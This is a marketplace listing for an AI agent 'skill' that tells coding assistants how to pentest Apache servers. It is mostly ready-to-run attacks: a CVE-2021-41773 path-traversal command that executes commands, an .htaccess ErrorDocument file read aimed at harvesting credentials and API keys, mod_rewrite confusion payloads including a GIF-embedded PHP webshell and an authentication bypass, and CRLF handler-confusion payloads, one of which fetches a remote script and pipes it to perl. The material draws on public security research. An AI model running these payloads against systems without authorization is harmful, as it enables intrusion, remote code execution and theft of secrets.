# Apache Pentesting

> Apache web server pentesting and exploitation techniques. Use this skill whenever the user mentions Apache, web server vulnerabilities, .htaccess, mod_rewrite, PHP handlers, CVE-2021-41773, confusion attacks, LFI, RCE, or any Apache-related security testing. This includes checking PHP extensions, exploiting misconfigurations, testing for path traversal, handler confusion, and accessing restricted files.

- Skill: `abelrguezr/apache-pentesting` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/apache-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/apache-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/apache-pentesting

---


# Apache Pentesting

A comprehensive guide for testing Apache web servers for vulnerabilities, misconfigurations, and exploitation opportunities.

## Quick Start

When testing an Apache server, follow this workflow:

1. **Reconnaissance** - Identify Apache version, modules, and configuration
2. **Extension Check** - Find which PHP extensions are enabled
3. **Vulnerability Testing** - Test for known CVEs and misconfigurations
4. **Exploitation** - Attempt to exploit identified weaknesses

## 1. Check PHP Extensions

Identify which PHP extensions Apache is executing:

```bash
# Search for PHP configuration in Apache
 grep -R -B1 "httpd-php" /etc/apache2

# Check common PHP config locations
 cat /etc/apache2/mods-available/php5.conf
 cat /etc/apache2/mods-enabled/php5.conf
 cat /etc/apache2/mods-available/php7.3.conf
 cat /etc/apache2/mods-enabled/php7.3.conf
```

**Why this matters**: Knowing which PHP version and extensions are enabled helps identify potential vulnerabilities and exploitation paths.

## 2. CVE-2021-41773 (Path Traversal in CGI)

Test for this vulnerability in CGI-bin directories:

```bash
curl http://<target>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
```

**Expected output if vulnerable**:
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```

**Why this works**: The vulnerability allows path traversal through CGI-bin to execute arbitrary commands.

## 3. LFI via .htaccess ErrorDocument

If you can control a directory's `.htaccess` and `AllowOverride` includes `FileInfo`, exploit 404 responses to read arbitrary files:

### Requirements
- Apache 2.4 with expression parser (ap_expr) enabled
- `AllowOverride FileInfo` for the target path
- Apache worker user has read permissions on target file

### Payload

Create or modify `.htaccess`:

```apache
# Optional: Add marker header to identify your requests
Header always set X-Debug-Tenant "demo"
# On any 404, return contents of absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```

### Trigger

Request any non-existing path:

```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```

### Tips
- Only absolute paths work
- Effective permissions are those of the Apache user (typically www-data/apache)
- You won't read /root/* or /etc/shadow in default setups
- If parent directory is tenant-owned and permits rename, you can:
  - Rename original `.htaccess` to `.htaccess.bk`
  - Upload your malicious `.htaccess` via SFTP/FTP
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.)

## 4. Confusion Attacks

Confusion attacks abuse how Apache modules don't work perfectly synchronized, causing vulnerabilities when some modules modify unexpected data.

### 4.1 Filename Confusion

#### Path Truncation

The `mod_rewrite` module trims `r->filename` after the `?` character. Abuse this to access files outside expected paths:

**Example rewrite rule**:
```apache
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
```

**Expected behavior**:
```bash
curl http://server/user/orange
# Returns: /var/user/orange/profile.yml
```

**Attack**:
```bash
curl http://server/user/orange%2Fsecret.yml%3F
# Returns: /var/user/orange/secret.yml (truncates after ?)
```

#### Mislead RewriteFlag Assignment

If URLs ending in `.php` are treated as PHP, send a URL ending in `.php` after `?` while loading a different file type:

**Rewrite rule**:
```apache
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]
```

**Attack**:
```bash
# Upload a gif file with PHP code
curl http://server/upload/1.gif
# Content: GIF89a <?=`id`;>

# Make server execute the PHP code
curl http://server/upload/1.gif%3fooo.php
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

#### ACL Bypass

Access files that should be denied by exploiting how PHP-FPM handles URLs:

**Protected configuration**:
```xml
<Files "admin.php">
    AuthType Basic
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>
```

**Bypass**:
```bash
curl http://server/admin.php%3Fooo.php
# PHP-FPM removes anything after ?, loading /admin.php despite protection
```

### 4.2 DocumentRoot Confusion

Apache may check files from both DocumentRoot and filesystem root:

**Configuration**:
```apache
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html
```

**Behavior**: Request to `https://server/about.html` checks both `/var/www/html/about.html` and `/about.html`

#### Server-Side Source Code Disclosure

**CGI Source Code**:
```bash
# Normal request
curl http://server/cgi-bin/download.cgi
# Returns: processed result

# Source disclosure
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# Returns: #!/usr/bin/perl ... (source code)
```

**PHP Source Code** (with multiple domains):
```bash
# Leak config.php from www.local domain via static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# Returns: source code of config.php
```

#### Local Gadgets Manipulation

Debian/Ubuntu allows access to `/usr/share` by default:

```xml
<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>
```

**Information Disclosure Gadgets**:
- `/usr/share/doc/websocketd/examples/php/dump-env.php` - leaks environment variables
- `/usr/share/nginx/html/` - Nginx web application info
- `/usr/share/jetty9/etc/` - Jetty configuration
- `/usr/share/jetty9/webapps/` - Jetty webapps

**XSS Gadgets**:
- `/usr/share/libreoffice/help/help.html` - language switch XSS

**LFI Gadgets**:
- `/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php`
- `/usr/share/javascript/jquery-jfeed/proxy.php`
- `/usr/share/moodle/mod/assignment/type/wims/getcsv.php`

**SSRF Gadgets**:
- `/usr/share/php/magpierss/scripts/magpie_debug.php`

**RCE Gadgets**:
- Outdated PHPUnit installations
- phpliteAdmin

#### Jailbreak from Local Gadgets

Follow symlinks from allowed folders:

| Symlink | Points To |
|---------|----------|
| `/usr/share/cacti/site/` | `/var/log/cacti/` |
| `/usr/share/solr/data/` | `/var/lib/solr/data` |
| `/usr/share/solr/conf/` | `/etc/solr/conf/` |
| `/usr/share/mediawiki/config/` | `/var/lib/mediawiki/config/` |
| `/usr/share/simplesamlphp/config/` | `/etc/simplesamlphp/` |

### 4.3 Handler Confusion

Exploits overlap between `AddHandler` and `AddType` directives. Apache uses `r->content_type` as handler if `r->handler` is empty.

#### Overwrite Handler to Disclose PHP Source Code

Incorrect `Content-Length` can cause Apache to return PHP source code instead of executing it.

#### Invoke Arbitrary Handlers

If you can control the `Content-Type` header and use server-side redirection via `Location` header:

**Requirements**:
- CRLF Injection in CGI response headers, OR
- SSRF with complete control of response headers

**Information Disclosure** (access /server-status):
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo%0d%0a
Content-Type:server-status%0d%0a
%0d%0a
```

**Full SSRF** (via mod_proxy):
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo%0d%0a
Content-Type:proxy:http://example.com/%3F%0d%0a
%0d%0a
```

**Access Local Unix Domain Socket** (PHP-FPM backdoor):
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo%0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php%0d%0a
%0d%0a
```

**RCE via PEAR** (Docker PHP image):
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo?%2b%20run-tests%2b%20-ui%2b%20$(curl${IFS}orange.tw/x|perl)%2b%20alltests.php%0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php%0d%0a
%0d%0a
```

## 5. Testing Checklist

When testing an Apache server, systematically check:

- [ ] Apache version and modules enabled
- [ ] PHP extensions and version
- [ ] CGI-bin directory for CVE-2021-41773
- [ ] .htaccess write access and AllowOverride settings
- [ ] mod_rewrite rules for confusion attacks
- [ ] DocumentRoot configuration
- [ ] /usr/share accessibility (Debian/Ubuntu)
- [ ] Symlinks from allowed directories
- [ ] Handler configuration (AddHandler/AddType)
- [ ] CGI scripts with header control
- [ ] PHP-FPM socket accessibility

## 6. References

- [Confusion Attacks - Orange Blog](https://blog.orange.tw/2024/08/confusion-attacks-en.html)
- [Apache 2.4 Custom Error Responses](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and Functions](https://httpd.apache.org/docs/2.4/expr.html)
- [CVE-2021-41773 Details](https://nvd.nist.gov/vuln/detail/CVE-2021-41773)
- [Docker PHP LFI Summary](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html)

## 7. Safety Notes

- Always have proper authorization before testing
- Some exploits may crash services or cause data loss
- Test in controlled environments first
- Document all findings and remediation steps
- Respect legal and ethical boundaries

